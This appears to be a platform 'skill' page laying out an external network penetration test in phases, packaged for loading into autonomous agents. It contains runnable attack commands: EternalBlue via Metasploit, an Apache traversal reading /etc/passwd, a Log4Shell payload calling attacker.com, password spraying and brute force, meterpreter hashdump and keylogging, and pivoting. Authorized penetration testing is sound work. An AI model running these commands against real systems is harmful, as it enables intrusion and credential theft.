CG
SkillsPerforming External Network Penetration Test
Start Free
Back to Skills Library
Penetration Testing๐Ÿ”ด Advanced

Performing External Network Penetration Test

Conduct a comprehensive external network penetration test to identify vulnerabilities in internet-facing infrastructure using PTES methodology, reconnaissance, scanning, exploitation, and reporting.

6 min read10 code examples

Prerequisites

  • Written authorization (Rules of Engagement document signed by asset owner)
  • Defined scope: IP ranges, domains, subdomains, and exclusions
  • Testing environment: Kali Linux or Parrot OS with updated tools
  • VPN/dedicated testing infrastructure to avoid IP blocks
  • Coordination with SOC/NOC for timing windows

Performing External Network Penetration Test

Overview

An external network penetration test simulates a real-world attacker targeting an organization's internet-facing assets such as firewalls, web servers, mail servers, DNS servers, VPN gateways, and cloud endpoints. The objective is to identify exploitable vulnerabilities before malicious actors do, following frameworks like PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115.

Prerequisites

  • Written authorization (Rules of Engagement document signed by asset owner)
  • Defined scope: IP ranges, domains, subdomains, and exclusions
  • Testing environment: Kali Linux or Parrot OS with updated tools
  • VPN/dedicated testing infrastructure to avoid IP blocks
  • Coordination with SOC/NOC for timing windows

Phase 1 โ€” Pre-Engagement and Scoping

Define Rules of Engagement

Scope:
  - Target IP ranges: 203.0.113.0/24, 198.51.100.0/24
  - Domains: *.target.com, *.target.io
  - Exclusions: 203.0.113.50 (production DB), *.staging.target.com
  - Testing window: Mon-Fri 22:00-06:00 UTC
  - Emergency contact: SOC Lead โ€” +1-555-0100
  - Authorization ID: PENTEST-2025-EXT-042

Legal Documentation Checklist

DocumentStatusOwner
Master Service Agreement (MSA)SignedLegal
Statement of Work (SOW)SignedPM
Rules of Engagement (RoE)SignedCISO
Get-Out-of-Jail LetterSignedCTO
NDASignedLegal
Insurance CertificateVerifiedRisk

Phase 2 โ€” Reconnaissance (Information Gathering)

Passive Reconnaissance

# OSINT โ€” Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt

# DNS record enumeration
dig target.com ANY +noall +answer
dig target.com MX +short
dig target.com NS +short
dig target.com TXT +short

# WHOIS and ASN lookup
whois target.com
whois -h whois.radb.net -- '-i origin AS12345'

# Certificate Transparency log search
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u

# Google dorking
# site:target.com filetype:pdf
# site:target.com inurl:admin
# site:target.com intitle:"index of"

# Shodan enumeration
shodan search "org:Target Corp" --fields ip_str,port,product
shodan host 203.0.113.10

# Email harvesting
theHarvester -d target.com -b all -l 500 -f theharvester_results

# GitHub/GitLab secret scanning
trufflehog github --org=targetcorp --concurrency=5
gitleaks detect --source=https://github.com/targetcorp/repo

Active Reconnaissance

# Host discovery โ€” ping sweep
nmap -sn 203.0.113.0/24 -oG ping_sweep.gnmap

# TCP SYN scan โ€” top 1000 ports
nmap -sS -sV -O -T4 203.0.113.0/24 -oA tcp_scan

# Full TCP port scan
nmap -sS -p- -T4 --min-rate 1000 203.0.113.0/24 -oA full_tcp

# UDP scan โ€” top 100 ports
nmap -sU --top-ports 100 -T4 203.0.113.0/24 -oA udp_scan

# Service version and script scan
nmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0/24 -oA service_scan

# SSL/TLS enumeration
sslscan 203.0.113.10:443
testssl.sh --full https://target.com

# Web technology fingerprinting
whatweb -v https://target.com
wappalyzer https://target.com

Phase 3 โ€” Vulnerability Analysis

Automated Scanning

# Nessus scan (via CLI)
nessuscli scan --new --name "External-Pentest-2025" \
  --targets 203.0.113.0/24 \
  --policy "Advanced Network Scan"

# OpenVAS scan
gvm-cli socket --xml '<create_task>
  <name>External Pentest</name>
  <target id="target-uuid"/>
  <config id="daba56c8-73ec-11df-a475-002264764cea"/>
</create_task>'

# Nuclei vulnerability scanner
nuclei -l all_subs.txt -t cves/ -t exposures/ -t misconfigurations/ \
  -severity critical,high -o nuclei_results.txt

# Nikto web server scan
nikto -h https://target.com -output nikto_results.html -Format htm

# Directory and file enumeration
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,asp,aspx,jsp,html,txt -o gobuster_results.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
  --depth 3 -o ferox_results.txt

Manual Vulnerability Validation

# Check for known CVEs on identified services
searchsploit apache 2.4.49
searchsploit openssh 8.2

# Test for default credentials
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
  ssh://203.0.113.10 -t 4

# Test VPN endpoints
ike-scan 203.0.113.20
# Check for IKEv1 aggressive mode

# SNMP enumeration
snmpwalk -v2c -c public 203.0.113.30
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 203.0.113.0/24

# SMTP enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 203.0.113.25

Phase 4 โ€” Exploitation

Network Service Exploitation

# Metasploit โ€” EternalBlue (MS17-010) example
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 203.0.113.15
set LHOST 10.10.14.5
set LPORT 4444
exploit

# Apache RCE โ€” CVE-2021-41773 / CVE-2021-42013
curl -s --path-as-is "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# ProxyShell exploitation (Exchange)
python3 proxyshell_exploit.py -u https://mail.target.com -e admin@target.com

# Log4Shell (CVE-2021-44228) testing
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' https://target.com/api

Web Application Exploitation

# SQL Injection with sqlmap
sqlmap -u "https://target.com/page?id=1" --batch --dbs --risk=3 --level=5

# XSS payload testing
dalfox url "https://target.com/search?q=test" --skip-bav

# Command injection testing
commix --url="https://target.com/ping?host=127.0.0.1" --batch

# File upload bypass
# Upload PHP shell with double extension: shell.php.jpg
# Test content-type bypass: application/octet-stream -> image/jpeg

Password Attacks

# Brute force RDP
crowbar -b rdp -s 203.0.113.40/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 4

# Spray attack against OWA
sprayhound -U users.txt -p 'Spring2025!' -d target.com -url https://mail.target.com/owa

# Crack captured hashes
hashcat -m 5600 captured_ntlmv2.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Phase 5 โ€” Post-Exploitation

# Establish persistence (authorized testing only)
# Meterpreter session
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump
meterpreter> run post/multi/recon/local_exploit_suggester

# Privilege escalation check
# Linux
./linpeas.sh | tee linpeas_output.txt
# Windows
.\winPEAS.exe | tee winpeas_output.txt

# Data exfiltration proof
# Create proof file (DO NOT exfiltrate real sensitive data)
echo "PENTEST-PROOF-$(date +%Y%m%d)" > /tmp/pentest_proof.txt

# Network pivoting through compromised host
# Set up SOCKS proxy via SSH
ssh -D 9050 user@203.0.113.15
proxychains nmap -sT -p 80,443,445 10.0.0.0/24

# Screenshot and evidence collection
meterpreter> screenshot
meterpreter> keyscan_start

Phase 6 โ€” Reporting

Finding Classification (CVSS v3.1)

SeverityCVSS RangeCountExample
Critical9.0-10.02RCE via unpatched Exchange (ProxyShell)
High7.0-8.95SQL Injection in customer portal
Medium4.0-6.98Missing security headers, TLS 1.0
Low0.1-3.912Information disclosure via server banners
Info0.06Open ports documentation

Report Structure

1. Executive Summary
   - Scope and objectives
   - Key findings summary
   - Risk rating overview
   - Strategic recommendations

2. Technical Findings
   For each finding:
   - Title and CVSS score
   - Affected asset(s)
   - Description and impact
   - Steps to reproduce (with screenshots)
   - Evidence/proof of exploitation
   - Remediation recommendation
   - References (CVE, CWE)

3. Methodology
   - Tools used
   - Testing timeline
   - Frameworks followed (PTES, OWASP)

4. Appendices
   - Full scan results
   - Network diagrams
   - Raw tool output

Remediation Priority Matrix

PriorityTimelineAction
P1 โ€” Critical24-48 hoursPatch RCE vulnerabilities, disable exposed admin panels
P2 โ€” High1-2 weeksFix injection flaws, implement MFA
P3 โ€” Medium30 daysHarden TLS configs, add security headers
P4 โ€” Low60-90 daysRemove version banners, update documentation

Tools Reference

ToolPurposeLicense
NmapPort scanning and service enumerationGPLv2
MetasploitExploitation frameworkBSD
Burp Suite ProWeb application testingCommercial
NucleiVulnerability scanningMIT
SubfinderSubdomain enumerationMIT
SQLMapSQL injection testingGPLv2
NessusVulnerability scannerCommercial
GobusterDirectory brute-forcingApache 2.0
HashcatPassword crackingMIT
theHarvesterOSINT email/domain harvestingGPLv2

Verification Criteria

Confirm successful execution by validating:

  • [ ] All prerequisite tools and access requirements are satisfied
  • [ ] Each workflow step completed without errors
  • [ ] Output matches expected format and contains expected data
  • [ ] No security warnings or misconfigurations detected
  • [ ] Results are documented and evidence is preserved for audit

Compliance Framework Mapping

This skill supports compliance evidence collection across multiple frameworks:

  • SOC 2: CC4.1 (Monitoring & Evaluation), CC7.1 (Monitoring)
  • ISO 27001: A.14.2 (Secure Development), A.18.2 (Information Security Reviews)
  • NIST 800-53: CA-8 (Penetration Testing), RA-5 (Vulnerability Scanning)
  • NIST CSF: ID.RA (Risk Assessment)

Claw GRC Tip: When this skill is executed by a registered agent, compliance evidence is automatically captured and mapped to the relevant controls in your active frameworks.

Deploying This Skill with Claw GRC

Agent Execution

Register this skill with your Claw GRC agent for automated execution:

# Install via CLI
npx claw-grc skills add performing-external-network-penetration-test

# Or load dynamically via MCP
grc.load_skill("performing-external-network-penetration-test")

Audit Trail Integration

When executed through Claw GRC, every step of this skill generates tamper-evident audit records:

  • SHA-256 chain hashing ensures no step can be modified after execution
  • Evidence artifacts (configs, scan results, logs) are automatically attached to relevant controls
  • Trust score impact โ€” successful execution increases your agent's trust score

Continuous Compliance

Schedule this skill for recurring execution to maintain continuous compliance posture. Claw GRC monitors for drift and alerts when re-execution is needed.

References

  • PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/
  • OWASP Testing Guide v4.2: https://owasp.org/www-project-web-security-testing-guide/
  • NIST SP 800-115: Technical Guide to Information Security Testing: https://csrc.nist.gov/publications/detail/sp/800-115/final
  • OSSTMM v3: https://www.isecom.org/OSSTMM.3.pdf
  • MITRE ATT&CK: https://attack.mitre.org/

Use with Claw GRC Agents

This skill is fully compatible with Claw GRC's autonomous agent system. Deploy it to any registered agent via MCP, and every execution will be logged in the tamper-evident audit trail.

// Load this skill in your agent
npx claw-grc skills add performing-external-network-penetration-test
// Or via MCP
grc.load_skill("performing-external-network-penetration-test")

Tags

external-pentestnetwork-securityPTESOSSTMMNmapMetasploitvulnerability-assessmentreconnaissance

Related Skills

Penetration Testing

Conducting Network Penetration Test

7mยทadvanced
Penetration Testing

Conducting External Reconnaissance with OSINT

7mยทintermediate
Penetration Testing

Conducting Internal Network Penetration Test

5mยทintermediate
Network Security

Scanning Network with Nmap Advanced

6mยทadvanced
Penetration Testing

Conducting Mobile Application Penetration Test

4mยทadvanced
Network Security

Detecting Network Scanning with IDS Signatures

7mยทintermediate

Skill Details

Domain
Penetration Testing
Difficulty
advanced
Read Time
6 min
Code Examples
10

On This Page

OverviewPrerequisitesPhase 1 โ€” Pre-Engagement and ScopingPhase 2 โ€” Reconnaissance (Information Gathering)Phase 3 โ€” Vulnerability AnalysisPhase 4 โ€” ExploitationPhase 5 โ€” Post-ExploitationPhase 6 โ€” ReportingRemediation Priority MatrixTools ReferenceReferencesVerification CriteriaCompliance Framework MappingDeploying This Skill with Claw GRC

Deploy This Skill

Add this skill to your Claw GRC agent and start automating.

Get Started Free โ†’